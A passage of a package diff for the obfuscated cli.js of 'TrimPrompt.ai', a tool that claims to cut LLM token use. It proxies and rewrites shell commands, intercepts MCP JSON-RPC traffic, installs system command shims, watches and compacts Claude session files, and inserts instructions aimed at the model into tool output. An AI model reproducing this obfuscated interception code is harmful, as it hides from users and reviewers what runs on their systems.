_0x46fc12=['hex','.ts','18MNEFwl','\x22\x22\x22','prototype','.\x20To\x20read\x20the\x20full\x20raw\x20content,\x20run\x20the\x20shell\x20command:\x20trim\x20retrieve\x20','extname','replace','length','.cpp','crypto','class','substring','function','155TRFnCh','createHash','from\x20','update','mkdirSync','\x20lines\x20collapsed\x20to\x20save\x20tokens]\x20...\x0a','md5','const','__setModuleDefault','.rs','startsWith','repeat','skeletonize','626008LFLBfq','599190uADGXf','15233730yamSbg','__importStar','writeFileSync','.go','\x0a...\x20[','match','getOwnPropertyNames','10036488FMedlA','export','var','2714901tbUbYW','call','10TxdhiX','__esModule','pub','//\x20...\x20[collapsed]','package','trim','.py','endsWith','homedir','defineProperty','join','pop','.tsx',']\x0a\x0a','__createBinding','slice','type','[TrimPrompt:\x20CCR\x20Active.\x20Body\x20of\x20functions\x20collapsed\x20to\x20save\x20tokens.\x20Hash:\x20','hasOwnProperty','utf8','toLowerCase','trimStart','create','digest','get','#\x20...\x20[collapsed]','split','.jsx','default','import\x20','226062YXMXEK','196630UYMKYB','push'];a0_0x5c8f=function(){return _0x46fc12;};return a0_0x5c8f();}
package/cli.js CHANGED
@@ -1,2 +1,2 @@
1
1
  #!/usr/bin/env node
2
- 'use strict';const a0_0x32cd0e=a0_0x2489;(function(_0x1868da,_0x27be4c){const _0x24d8ee=a0_0x2489,_0x5a3982=_0x1868da();while(!![]){try{const _0x4511c6=parseInt(_0x24d8ee(0x1d5))/0x1+-parseInt(_0x24d8ee(0x20e))/0x2+parseInt(_0x24d8ee(0x240))/0x3*(parseInt(_0x24d8ee(0x22e))/0x4)+-parseInt(_0x24d8ee(0x19c))/0x5+-parseInt(_0x24d8ee(0x230))/0x6+parseInt(_0x24d8ee(0x21f))/0x7*(-parseInt(_0x24d8ee(0x1f9))/0x8)+-parseInt(_0x24d8ee(0x22a))/0x9*(-parseInt(_0x24d8ee(0x211))/0xa);if(_0x4511c6===_0x27be4c)break;else _0x5a3982['push'](_0x5a3982['shift']());}catch(_0xf55014){_0x5a3982['push'](_0x5a3982['shift']());}}}(a0_0x59a0,0xa4dd2));var __createBinding=this&&this[a0_0x32cd0e(0x201)]||(Object['create']?function(_0x4291ec,_0x5958ea,_0x4db872,_0x4c5e7c){const _0x2e2936=a0_0x32cd0e;if(_0x4c5e7c===undefined)_0x4c5e7c=_0x4db872;var _0x3f75ff=Object[_0x2e2936(0x1df)](_0x5958ea,_0x4db872);(!_0x3f75ff||(_0x2e2936(0x1e7)in _0x3f75ff?!_0x5958ea[_0x2e2936(0x1a5)]:_0x3f75ff[_0x2e2936(0x18d)]||_0x3f75ff['configurable']))&&(_0x3f75ff={'enumerable':!![],'get':function(){return _0x5958ea[_0x4db872];}}),Object[_0x2e2936(0x1ab)](_0x4291ec,_0x4c5e7c,_0x3f75ff);}:function(_0x33f7dd,_0x5d0b9c,_0x438c63,_0x1b0495){if(_0x1b0495===undefined)_0x1b0495=_0x438c63;_0x33f7dd[_0x1b0495]=_0x5d0b9c[_0x438c63];}),__setModuleDefault=this&&this[a0_0x32cd0e(0x1a3)]||(Object[a0_0x32cd0e(0x195)]?function(_0x132d4a,_0x940ffa){const _0xdddbc0=a0_0x32cd0e;Object[_0xdddbc0(0x1ab)](_0x132d4a,_0xdddbc0(0x1a7),{'enumerable':!![],'value':_0x940ffa});}:function(_0x101ee2,_0x1c153c){const _0x57f49e=a0_0x32cd0e;_0x101ee2[_0x57f49e(0x1a7)]=_0x1c153c;}),__importStar=this&&this[a0_0x32cd0e(0x220)]||(function(){var _0x350de4=function(_0x455fde){return _0x350de4=Object['getOwnPropertyNames']||function(_0x25ccd5){const _0x4162db=a0_0x2489;var _0x26b218=[];for(var _0x100a03 in _0x25ccd5)if(Object[_0x4162db(0x23d)][_0x4162db(0x18a)][_0x4162db(0x19a)](_0x25ccd5,_0x100a03))_0x26b218[_0x26b218[_0x4162db(0x23f)]]=_0x100a03;return _0x26b218;},_0x350de4(_0x455fde);};return function(_0x42fed3){const _0xd0e634=a0_0x2489;if(_0x42fed3&&_0x42fed3[_0xd0e634(0x1a5)])return _0x42fed3;var _0x318ec3={};if(_0x42fed3!=null){for(var _0x1357ce=_0x350de4(_0x42fed3),_0x3b437a=0x0;_0x3b437a<_0x1357ce[_0xd0e634(0x23f)];_0x3b437a++)if(_0x1357ce[_0x3b437a]!==_0xd0e634(0x1a7))__createBinding(_0x318ec3,_0x42fed3,_0x1357ce[_0x3b437a]);}return __setModuleDefault(_0x318ec3,_0x42fed3),_0x318ec3;};}());Object[a0_0x32cd0e(0x1ab)](exports,a0_0x32cd0e(0x1a5),{'value':!![]});const commander_1=require(a0_0x32cd0e(0x198)),executor_1=require('./executor'),filters_1=require(a0_0x32cd0e(0x205)),tracker_1=require(a0_0x32cd0e(0x224)),cache_1=require(a0_0x32cd0e(0x239)),shims_1=require(a0_0x32cd0e(0x1c8)),dashboard_1=require(a0_0x32cd0e(0x1f3)),program=new commander_1[(a0_0x32cd0e(0x200))]();function isDisabled(){const _0x3c9aad=a0_0x32cd0e;return process[_0x3c9aad(0x229)][_0x3c9aad(0x1e2)]==='1';}function adjustCommandArgs(_0x4f89bc,_0x25fcd2){const _0x28c172=a0_0x32cd0e,_0x4992b4=_0x4f89bc[_0x28c172(0x23a)]();if(_0x4992b4===_0x28c172(0x1dc)||_0x4992b4===_0x28c172(0x216)){const _0x129a5d=_0x25fcd2[0x0];if(_0x129a5d==='status'){const _0x5577d8=_0x25fcd2[_0x28c172(0x1ea)](0x1),_0x544699=_0x5577d8[_0x28c172(0x23f)]===0x0||_0x5577d8[_0x28c172(0x207)](_0x5bc043=>{const _0x53b47b=_0x28c172;return _0x5bc043==='-b'||_0x5bc043===_0x53b47b(0x1a0)||_0x5bc043===_0x53b47b(0x232)||_0x5bc043===_0x53b47b(0x1c6)||_0x5bc043==='-s'||_0x5bc043===_0x53b47b(0x21a);});if(_0x544699)return{'cmd':_0x4f89bc,'args':[_0x28c172(0x20f),'--porcelain','-b']};}else{if(_0x129a5d===_0x28c172(0x193)){const _0x56e26a=_0x25fcd2[_0x28c172(0x1ea)](0x1),_0x915200=_0x56e26a[_0x28c172(0x1d9)](_0x25ed53=>_0x25ed53[_0x28c172(0x1cd)](_0x28c172(0x221))||_0x25ed53[_0x28c172(0x1cd)](_0x28c172(0x1ed))||_0x25ed53[_0x28c172(0x1cd)](_0x28c172(0x20a))),_0x1f1a14=_0x56e26a['some'](_0x4241b6=>_0x4241b6['startsWith']('-')&&/^\d+$/['test'](_0x4241b6[_0x28c172(0x1ea)](0x1))||_0x4241b6==='-n'||_0x4241b6[_0x28c172(0x1cd)](_0x28c172(0x1b7))),_0x212147=[..._0x25fcd2];if(!_0x915200){const _0x574df4=_0x28c172(0x1ef);_0x212147[_0x28c172(0x1aa)](process[_0x28c172(0x1d0)]===_0x28c172(0x1c3)?'\x22'+_0x574df4+'\x22':_0x574df4);}!_0x1f1a14&&(_0x915200?_0x212147[_0x28c172(0x1aa)]('-50'):_0x212147[_0x28c172(0x1aa)]('-10'));const _0x7a391d=_0x56e26a[_0x28c172(0x1d9)](_0x405e6b=>_0x405e6b===_0x28c172(0x237)||_0x405e6b===_0x28c172(0x1ee)||_0x405e6b[_0x28c172(0x1cd)](_0x28c172(0x1db)));return!_0x7a391d&&!_0x1f1a14&&_0x212147[_0x28c172(0x1aa)]('--no-merges'),{'cmd':_0x4f89bc,'args':_0x212147};}}}return{'cmd':_0x4f89bc,'args':_0x25fcd2};}function a0_0x59a0(){const _0x994e42=['Port\x20to\x20run\x20the\x20dashboard\x20on','1704736QpxjDL','status','--version','80pJIdtc','npm_lifecycle_event','dedup','[value]','name','yadm','=============================================','server-mcp','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','--short','<action>','raw_cost_usd','config\x20parameter\x20name','start','501746SqEeEa','__importStar','--oneline','claude','true','./tracker','message','Estimated\x20Cost:\x20\x20\x20\x20$','yarn','option','env','3491865ZtuieQ','Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$','write','install\x20or\x20uninstall','1124084huVRWf','<commandLine>','1977876PyjQRj','toFixed','-sb','tracker','\x20(before\x20Trim)','\x5c\x5c.\x5cCON','bun','--merges','Original\x20file\x20untouched:\x20','./cache','toLowerCase','\x20\x20claude\x20--resume\x20\x22','raw_payload','prototype','Live\x20conversation\x20file-watcher\x20daemon\x20—\x20start,\x20install','length','3alkTBi','pnpm','exitCode','toLocaleString','compressed_cost_usd','description','---------------------------------------------','Generate\x20a\x20clean,\x20compressed\x20copy\x20of\x20a\x20conversation\x20session\x20file\x20for\x20safe\x20resume','\x20(after\x20Trim)','hasOwnProperty','server','rewriteCommand','writable','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','install','alias','mcp-server','-m,\x20--model\x20<string>','log','total_raw_tokens','create','value\x20to\x20set','../package.json','commander','Start\x20the\x20local\x20developer\x20dashboard','call','uninstall','6085255QvGIZd','trim','retrieve','exit','--branch','\x27\x20not\x20found\x20or\x20expired.','installShims','__setModuleDefault','stderr','__esModule','stats','default','dirname','error','push','defineProperty','Manage\x20local\x20configuration\x20parameters','4000','mcp-proxy','path','\x20USD','postinstall','1.0.33','claude-3-5-sonnet','compressOutput','then','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','--max-count','node','<key>','=============================================\x0a','--help','-p,\x20--port\x20<number>','./mcp','/dev/tty','@modelcontextprotocol/','total_tokens_saved','includes','resolve','win32','join','./package.json','-bs','writeFileSync','./shims','Reduction\x20Rate:\x20\x20\x20\x20','./file-watcher','parse','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','startsWith','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','modelcontextprotocol','platform','action','help','mcp','getConfig','549582cIjfyx','money_saved_usd','rewrite','compact','some','shims','--min-parents','git','Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall','__VERSION__','getOwnPropertyDescriptor','Command\x20line\x20to\x20evaluate','argv','TRIMPROMPT_DISABLED','total_compressed_tokens','basename','version','redaction_enabled','get','Config\x20set\x20','executeCommand','slice','args','Error:\x20Value\x20required\x20for\x20set\x20action','--pretty','--no-merges','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','set','argument','[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20','./dashboard','stdout','watcher\x20[action]','command','Compact\x20session\x20copy:\x20','watcher','96VrjWvg','lastRedactAudit','retrieve\x20<chunkId>','1.0.0','fullPath','lastFeatures','dashboard','Command','__createBinding','Install\x20or\x20uninstall\x20system\x20command\x20shims','startDashboard','.compact','./filters','Error:\x20Action\x20must\x20be\x20get\x20or\x20set','every','npm','extname','--format','Retrieve\x20raw\x20offloaded\x20content\x20chunk\x20from\x20local\x20side-cache','model_name'];a0_0x59a0=function(){return _0x994e42;};return a0_0x59a0();}function isMcpServerExecution(_0x5a39e3,_0x29a79b){const _0xd0ed5d=a0_0x32cd0e,_0x4e1bdf=_0x5a39e3['toLowerCase'](),_0x4543a0=_0x29a79b[_0xd0ed5d(0x1c4)]('\x20')['toLowerCase']();if(_0x4e1bdf['includes'](_0xd0ed5d(0x1d3))&&(_0x4e1bdf[_0xd0ed5d(0x1c1)](_0xd0ed5d(0x18b))||_0x4e1bdf[_0xd0ed5d(0x1c1)]('proxy')))return!![];if(_0x4e1bdf==='npx'||_0x4e1bdf===_0xd0ed5d(0x1b8)||_0x4e1bdf===_0xd0ed5d(0x236)||_0x4e1bdf===_0xd0ed5d(0x208)||_0x4e1bdf===_0xd0ed5d(0x241)||_0x4e1bdf===_0xd0ed5d(0x227)){if(_0x4543a0[_0xd0ed5d(0x1c1)](_0xd0ed5d(0x1bf))||_0x4543a0[_0xd0ed5d(0x1c1)](_0xd0ed5d(0x1cf))||_0x4543a0[_0xd0ed5d(0x1c1)](_0xd0ed5d(0x191))||_0x4543a0[_0xd0ed5d(0x1c1)]('server-mcp'))return!![];}if(_0x29a79b[_0xd0ed5d(0x1d9)](_0x399246=>{const _0x3d5a1c=_0xd0ed5d,_0x2120cb=_0x399246[_0x3d5a1c(0x23a)]();return _0x2120cb[_0x3d5a1c(0x1c1)](_0x3d5a1c(0x191))||_0x2120cb['includes'](_0x3d5a1c(0x218))||_0x2120cb[_0x3d5a1c(0x1c1)](_0x3d5a1c(0x1bf))||_0x2120cb===_0x3d5a1c(0x1ae)||_0x2120cb==='mcp';}))return!![];return![];}async function runProxy(_0x46ed28){const _0x4bf7dc=a0_0x32cd0e;if(_0x46ed28[_0x4bf7dc(0x23f)]===0x0){program[_0x4bf7dc(0x1d2)]();return;}const _0x269325=_0x46ed28[0x0],_0x1a4b08=_0x46ed28[_0x4bf7dc(0x1ea)](0x1),_0x24491=_0x46ed28['join']('\x20');if(isDisabled()){const _0x4e2f37=await(0x0,executor_1['executeCommand'])(_0x269325,_0x1a4b08);process[_0x4bf7dc(0x1f4)]['write'](_0x4e2f37[_0x4bf7dc(0x1f4)]),process[_0x4bf7dc(0x1a4)][_0x4bf7dc(0x22c)](_0x4e2f37['stderr']),process[_0x4bf7dc(0x19f)](_0x4e2f37['exitCode']);}if(isMcpServerExecution(_0x269325,_0x1a4b08)){console['error']('[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...');const {runMcpProxy:_0x257f8f}=await Promise[_0x4bf7dc(0x1c2)]()[_0x4bf7dc(0x1b5)](()=>__importStar(require(_0x4bf7dc(0x1bd))));_0x257f8f(_0x269325,_0x1a4b08);return;}const _0x5301d3=adjustCommandArgs(_0x269325,_0x1a4b08),_0x5ea1c5=await(0x0,executor_1[_0x4bf7dc(0x1e9)])(_0x5301d3['cmd'],_0x5301d3[_0x4bf7dc(0x1eb)]),_0x22a4c4=(0x0,filters_1[_0x4bf7dc(0x1b4)])(_0x24491,_0x5ea1c5['stdout'],_0x5ea1c5[_0x4bf7dc(0x1a4)],tracker_1[_0x4bf7dc(0x233)][_0x4bf7dc(0x1d4)]()[_0x4bf7dc(0x1e6)]),_0x171fa9={...filters_1[_0x4bf7dc(0x1fa)]},_0x12e887=_0x5ea1c5['stdout']+(_0x5ea1c5[_0x4bf7dc(0x1a4)][_0x4bf7dc(0x19d)]()[_0x4bf7dc(0x23f)]>0x0?'\x0a'+_0x5ea1c5['stderr']:''),_0x1a424e=_0x22a4c4[_0x4bf7dc(0x23f)]<_0x12e887[_0x4bf7dc(0x23f)]?_0x22a4c4:_0x12e887,_0x5597f9=_0x5ea1c5['exitCode']===0x0?(0x0,cache_1[_0x4bf7dc(0x213)])(_0x24491,_0x1a424e):null;tracker_1[_0x4bf7dc(0x233)]['logExecution'](_0x24491,_0x12e887,_0x5597f9||_0x1a424e,_0x5ea1c5[_0x4bf7dc(0x242)],_0x171fa9,[...filters_1[_0x4bf7dc(0x1fe)]]),_0x5ea1c5['exitCode']===0x0?process['stdout'][_0x4bf7dc(0x22c)](_0x1a424e+'\x0a'):(process[_0x4bf7dc(0x1f4)]['write'](_0x22a4c4+'\x0a'),_0x5ea1c5['stderr'][_0x4bf7dc(0x19d)]()['length']>0x0&&!_0x22a4c4[_0x4bf7dc(0x1c1)](_0x5ea1c5[_0x4bf7dc(0x1a4)][_0x4bf7dc(0x19d)]())&&process[_0x4bf7dc(0x1a4)][_0x4bf7dc(0x22c)](_0x5ea1c5[_0x4bf7dc(0x1a4)]+'\x0a')),process[_0x4bf7dc(0x19f)](_0x5ea1c5[_0x4bf7dc(0x242)]);}program[a0_0x32cd0e(0x215)](a0_0x32cd0e(0x19d))['description'](a0_0x32cd0e(0x219))['version'](((()=>{const _0x11edfe=a0_0x32cd0e,_0x2ebb12=_0x11edfe(0x1b2);if(_0x2ebb12!==_0x11edfe(0x1de))return _0x2ebb12;try{return require(_0x11edfe(0x197))[_0x11edfe(0x1e5)];}catch{try{return require(_0x11edfe(0x1c5))['version'];}catch{return _0x11edfe(0x1fc);}}})())),program[a0_0x32cd0e(0x1f6)]('ui')[a0_0x32cd0e(0x190)](a0_0x32cd0e(0x1ff))[a0_0x32cd0e(0x186)](a0_0x32cd0e(0x199))[a0_0x32cd0e(0x228)](a0_0x32cd0e(0x1bc),a0_0x32cd0e(0x20d),a0_0x32cd0e(0x1ad))[a0_0x32cd0e(0x1d1)](_0x29dde9=>{const _0x35e65d=a0_0x32cd0e,_0x5b4cda=parseInt(_0x29dde9['port'],0xa);(0x0,dashboard_1[_0x35e65d(0x203)])(_0x5b4cda);}),program[a0_0x32cd0e(0x1f6)](a0_0x32cd0e(0x1a6))[a0_0x32cd0e(0x186)]('Show\x20token\x20and\x20cost\x20savings\x20summary')[a0_0x32cd0e(0x228)](a0_0x32cd0e(0x192),'Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)',a0_0x32cd0e(0x1b3))[a0_0x32cd0e(0x1d1)](_0x4a8f7a=>{const _0x1db359=a0_0x32cd0e,_0x5e056d=tracker_1[_0x1db359(0x233)]['getStatsSummary'](_0x4a8f7a['model']);console['log']('\x0a============================================='),console[_0x1db359(0x193)]('\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20'),console[_0x1db359(0x193)](_0x1db359(0x217)),console[_0x1db359(0x193)]('Model\x20Context:\x20\x20\x20\x20\x20'+_0x5e056d[_0x1db359(0x20c)]),console[_0x1db359(0x193)](_0x1db359(0x1ce)+_0x5e056d[_0x1db359(0x194)]['toLocaleString']()),console[_0x1db359(0x193)](_0x1db359(0x1cc)+_0x5e056d[_0x1db359(0x1e3)][_0x1db359(0x243)]()),console['log'](_0x1db359(0x18e)+_0x5e056d[_0x1db359(0x1c0)][_0x1db359(0x243)]()),console[_0x1db359(0x193)](_0x1db359(0x1c9)+_0x5e056d['savings_percentage']+'%'),console['log'](_0x1db359(0x226)+_0x5e056d[_0x1db359(0x21c)][_0x1db359(0x231)](0x4)+_0x1db359(0x234)),console[_0x1db359(0x193)](_0x1db359(0x22b)+_0x5e056d[_0x1db359(0x244)][_0x1db359(0x231)](0x4)+_0x1db359(0x189)),console[_0x1db359(0x193)](_0x1db359(0x187)),console[_0x1db359(0x193)]('Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$'+_0x5e056d[_0x1db359(0x1d6)][_0x1db359(0x231)](0x4)+_0x1db359(0x1b0)),console[_0x1db359(0x193)](_0x1db359(0x1ba));}),program[a0_0x32cd0e(0x1f6)]('config')[a0_0x32cd0e(0x186)](a0_0x32cd0e(0x1ac))['argument'](a0_0x32cd0e(0x21b),'get\x20or\x20set')[a0_0x32cd0e(0x1f1)](a0_0x32cd0e(0x1b9),a0_0x32cd0e(0x21d))['argument'](a0_0x32cd0e(0x214),a0_0x32cd0e(0x196))[a0_0x32cd0e(0x1d1)]((_0x58ed1a,_0x14d63f,_0xb0014f)=>{const _0x481196=a0_0x32cd0e;if(_0x58ed1a===_0x481196(0x1e7)){const _0x44e27a=tracker_1[_0x481196(0x233)]['getConfig']();console[_0x481196(0x193)](_0x14d63f+':\x20'+_0x44e27a[_0x14d63f]);}else{if(_0x58ed1a===_0x481196(0x1f0)){_0xb0014f===undefined&&(console[_0x481196(0x1a9)](_0x481196(0x1ec)),process[_0x481196(0x19f)](0x1));let _0x345c51=_0xb0014f;if(_0xb0014f===_0x481196(0x223))_0x345c51=!![];if(_0xb0014f==='false')_0x345c51=![];if(/^\d+$/['test'](_0xb0014f))_0x345c51=parseInt(_0xb0014f,0xa);tracker_1[_0x481196(0x233)]['setConfig'](_0x14d63f,_0x345c51),console[_0x481196(0x193)](_0x481196(0x1e8)+_0x14d63f+'\x20=\x20'+_0xb0014f);}else console[_0x481196(0x1a9)](_0x481196(0x206)),process[_0x481196(0x19f)](0x1);}});function a0_0x2489(_0x733dbb,_0x57aefe){const _0x59a070=a0_0x59a0();return a0_0x2489=function(_0x248955,_0x4b8f7b){_0x248955=_0x248955-0x186;let _0xb5300f=_0x59a070[_0x248955];return _0xb5300f;},a0_0x2489(_0x733dbb,_0x57aefe);}function printMessage(_0x19befe){const _0x3bc7fd=a0_0x32cd0e;if(process['env'][_0x3bc7fd(0x212)]===_0x3bc7fd(0x1b1))try{const _0x28d958=require('fs'),_0xe25c4e=process['platform']==='win32'?_0x3bc7fd(0x235):_0x3bc7fd(0x1be);_0x28d958[_0x3bc7fd(0x1c7)](_0xe25c4e,'\x0a'+_0x19befe+'\x0a');return;}catch{}console['log'](_0x19befe);}program[a0_0x32cd0e(0x1f6)](a0_0x32cd0e(0x1da))[a0_0x32cd0e(0x186)](a0_0x32cd0e(0x202))[a0_0x32cd0e(0x1f1)]('<action>',a0_0x32cd0e(0x22d))['action'](_0x1f9899=>{const _0x3fa435=a0_0x32cd0e;if(_0x1f9899===_0x3fa435(0x18f)){const _0x71d2d0=(0x0,shims_1[_0x3fa435(0x1a2)])();printMessage(_0x71d2d0[_0x3fa435(0x225)]);}else{if(_0x1f9899===_0x3fa435(0x19b)){const _0x4f7712=(0x0,shims_1['uninstallShims'])();printMessage(_0x4f7712[_0x3fa435(0x225)]);}else console[_0x3fa435(0x1a9)](_0x3fa435(0x1dd)),process['exit'](0x1);}}),program['command'](a0_0x32cd0e(0x1d7))['description'](a0_0x32cd0e(0x1b6))['argument'](a0_0x32cd0e(0x22f),a0_0x32cd0e(0x1e0))[a0_0x32cd0e(0x1d1)](_0x336c24=>{const _0x2c4a5d=a0_0x32cd0e;if(isDisabled()){console[_0x2c4a5d(0x193)](_0x336c24);return;}const _0x1ff4fc=(0x0,filters_1[_0x2c4a5d(0x18c)])(_0x336c24);console['log'](_0x1ff4fc);}),program[a0_0x32cd0e(0x1f6)](a0_0x32cd0e(0x1f5))[a0_0x32cd0e(0x186)](a0_0x32cd0e(0x23e))[a0_0x32cd0e(0x1d1)](async _0x365036=>{const _0xdf2477=a0_0x32cd0e,{startWatcherDaemon:_0x2a31fd}=await Promise['resolve']()[_0xdf2477(0x1b5)](()=>__importStar(require('./file-watcher')));(!_0x365036||_0x365036===_0xdf2477(0x21e)||_0x365036===_0xdf2477(0x18f))&&_0x2a31fd();}),program['command'](a0_0x32cd0e(0x1fb))['description'](a0_0x32cd0e(0x20b))[a0_0x32cd0e(0x1d1)](async _0x31ab2e=>{const _0x261a87=a0_0x32cd0e,{retrieveChunk:_0xb84696}=await Promise[_0x261a87(0x1c2)]()['then'](()=>__importStar(require('./cache-manager'))),_0x2002f1=_0xb84696(_0x31ab2e);_0x2002f1?console['log'](_0x2002f1[_0x261a87(0x23c)]):(console['error']('[TrimPrompt\x20Cache]\x20Chunk\x20\x27'+_0x31ab2e+_0x261a87(0x1a1)),process[_0x261a87(0x19f)](0x1));}),program[a0_0x32cd0e(0x1f6)]('compact\x20[sessionId]')[a0_0x32cd0e(0x186)](a0_0x32cd0e(0x188))[a0_0x32cd0e(0x1d1)](async _0x876ad4=>{const _0x5e4426=a0_0x32cd0e,{getLatestSessionFile:_0x4ed277,processSessionFile:_0x1887b0}=await Promise[_0x5e4426(0x1c2)]()[_0x5e4426(0x1b5)](()=>__importStar(require(_0x5e4426(0x1ca)))),_0x395a04=await Promise[_0x5e4426(0x1c2)]()[_0x5e4426(0x1b5)](()=>__importStar(require('fs'))),_0x2296bb=await Promise[_0x5e4426(0x1c2)]()[_0x5e4426(0x1b5)](()=>__importStar(require(_0x5e4426(0x1af))));let _0xc69849=_0x876ad4;if(!_0x876ad4||!_0x395a04['existsSync'](_0x876ad4)){const _0x27d825=_0x4ed277(_0x5e4426(0x222));_0xc69849=_0x27d825[_0x5e4426(0x1fd)];}if(_0xc69849&&_0x395a04['existsSync'](_0xc69849)){const _0x294b16=_0x2296bb[_0x5e4426(0x209)](_0xc69849),_0x57d371=_0x2296bb[_0x5e4426(0x1a8)](_0xc69849),_0x4145e5=_0x2296bb[_0x5e4426(0x1e4)](_0xc69849,_0x294b16),_0x4c6178=_0x2296bb[_0x5e4426(0x1c4)](_0x57d371,_0x4145e5+_0x5e4426(0x204)+_0x294b16);_0x395a04['copyFileSync'](_0xc69849,_0x4c6178),_0x1887b0(_0x4c6178,'claude'),console['log']('\x0a[TrimPrompt\x20Compact]\x20Clean\x20compressed\x20session\x20generated\x20successfully!'),console[_0x5e4426(0x193)](_0x5e4426(0x238)+_0xc69849),console['log'](_0x5e4426(0x1f7)+_0x4c6178),console[_0x5e4426(0x193)]('\x0aTo\x20resume\x20with\x20lightweight\x20context,\x20execute:'),console[_0x5e4426(0x193)](_0x5e4426(0x23b)+_0x4c6178+'\x22\x0a');}else console[_0x5e4426(0x1a9)]('[TrimPrompt\x20Compact]\x20Could\x20not\x20find\x20session\x20file.');});const args=process[a0_0x32cd0e(0x1e1)][a0_0x32cd0e(0x1ea)](0x2),firstArg=args[0x0],subcommands=['ui',a0_0x32cd0e(0x1ff),a0_0x32cd0e(0x1a6),'config',a0_0x32cd0e(0x1da),a0_0x32cd0e(0x1d7),'mcp-proxy','mcp',a0_0x32cd0e(0x1f8),a0_0x32cd0e(0x19e),a0_0x32cd0e(0x1d8),a0_0x32cd0e(0x1d2),a0_0x32cd0e(0x1bb),'-h',a0_0x32cd0e(0x1e5),a0_0x32cd0e(0x210),'-v'];firstArg&&!subcommands[a0_0x32cd0e(0x1c1)](firstArg)?runProxy(args)['catch'](_0x52415d=>{const _0x491b96=a0_0x32cd0e;console[_0x491b96(0x1a9)](_0x491b96(0x1f2)+_0x52415d[_0x491b96(0x225)]),process['exit'](0x1);}):program[a0_0x32cd0e(0x1cb)](process['argv']);
2
+ 'use strict';const a0_0xfcec75=a0_0x1f09;(function(_0x4f3607,_0xd950f5){const _0x564c17=a0_0x1f09,_0x4780df=_0x4f3607();while(!![]){try{const _0x760def=parseInt(_0x564c17(0x1df))/0x1*(-parseInt(_0x564c17(0x26a))/0x2)+parseInt(_0x564c17(0x281))/0x3*(parseInt(_0x564c17(0x235))/0x4)+-parseInt(_0x564c17(0x287))/0x5*(parseInt(_0x564c17(0x22f))/0x6)+-parseInt(_0x564c17(0x1d7))/0x7+-parseInt(_0x564c17(0x21d))/0x8*(-parseInt(_0x564c17(0x26d))/0x9)+-parseInt(_0x564c17(0x1cf))/0xa+-parseInt(_0x564c17(0x1c3))/0xb*(-parseInt(_0x564c17(0x221))/0xc);if(_0x760def===_0xd950f5)break;else _0x4780df['push'](_0x4780df['shift']());}catch(_0xa6f4c1){_0x4780df['push'](_0x4780df['shift']());}}}(a0_0x1471,0x9087d));var __createBinding=this&&this[a0_0xfcec75(0x229)]||(Object[a0_0xfcec75(0x210)]?function(_0x23fe79,_0x41b095,_0x24428f,_0x4eafd1){const _0x19e01c=a0_0xfcec75;if(_0x4eafd1===undefined)_0x4eafd1=_0x24428f;var _0x7d1171=Object['getOwnPropertyDescriptor'](_0x41b095,_0x24428f);(!_0x7d1171||(_0x19e01c(0x24c)in _0x7d1171?!_0x41b095[_0x19e01c(0x288)]:_0x7d1171[_0x19e01c(0x21f)]||_0x7d1171['configurable']))&&(_0x7d1171={'enumerable':!![],'get':function(){return _0x41b095[_0x24428f];}}),Object['defineProperty'](_0x23fe79,_0x4eafd1,_0x7d1171);}:function(_0x4a678c,_0x1000be,_0x7daa8f,_0x4b7a57){if(_0x4b7a57===undefined)_0x4b7a57=_0x7daa8f;_0x4a678c[_0x4b7a57]=_0x1000be[_0x7daa8f];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0xfcec75(0x210)]?function(_0x2f9929,_0x24bc3f){const _0x18de02=a0_0xfcec75;Object[_0x18de02(0x251)](_0x2f9929,_0x18de02(0x20e),{'enumerable':!![],'value':_0x24bc3f});}:function(_0x117f64,_0x3186ec){const _0x2962b4=a0_0xfcec75;_0x117f64[_0x2962b4(0x20e)]=_0x3186ec;}),__importStar=this&&this[a0_0xfcec75(0x24d)]||(function(){var _0x59e56a=function(_0x16d096){return _0x59e56a=Object['getOwnPropertyNames']||function(_0x55d7f4){const _0x545ec9=a0_0x1f09;var _0x11d9ed=[];for(var _0x207b76 in _0x55d7f4)if(Object[_0x545ec9(0x25e)][_0x545ec9(0x293)][_0x545ec9(0x25d)](_0x55d7f4,_0x207b76))_0x11d9ed[_0x11d9ed[_0x545ec9(0x1c8)]]=_0x207b76;return _0x11d9ed;},_0x59e56a(_0x16d096);};return function(_0xff7eef){const _0x3c212f=a0_0x1f09;if(_0xff7eef&&_0xff7eef[_0x3c212f(0x288)])return _0xff7eef;var _0x216ff5={};if(_0xff7eef!=null){for(var _0x126840=_0x59e56a(_0xff7eef),_0xb26cf8=0x0;_0xb26cf8<_0x126840['length'];_0xb26cf8++)if(_0x126840[_0xb26cf8]!=='default')__createBinding(_0x216ff5,_0xff7eef,_0x126840[_0xb26cf8]);}return __setModuleDefault(_0x216ff5,_0xff7eef),_0x216ff5;};}());Object['defineProperty'](exports,a0_0xfcec75(0x288),{'value':!![]});const commander_1=require(a0_0xfcec75(0x1d5)),executor_1=require('./executor'),filters_1=require('./filters'),tracker_1=require(a0_0xfcec75(0x1e1)),cache_1=require(a0_0xfcec75(0x275)),shims_1=require(a0_0xfcec75(0x1cb)),dashboard_1=require(a0_0xfcec75(0x208)),program=new commander_1[(a0_0xfcec75(0x1f4))]();function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0x3adbbb,_0x18542a){const _0x49c487=a0_0xfcec75,_0xbe6aa9=_0x3adbbb[_0x49c487(0x220)]();if(_0xbe6aa9===_0x49c487(0x28c)||_0xbe6aa9===_0x49c487(0x272)){const _0x31d1bc=_0x18542a[0x0];if(_0x31d1bc===_0x49c487(0x1e4)){const 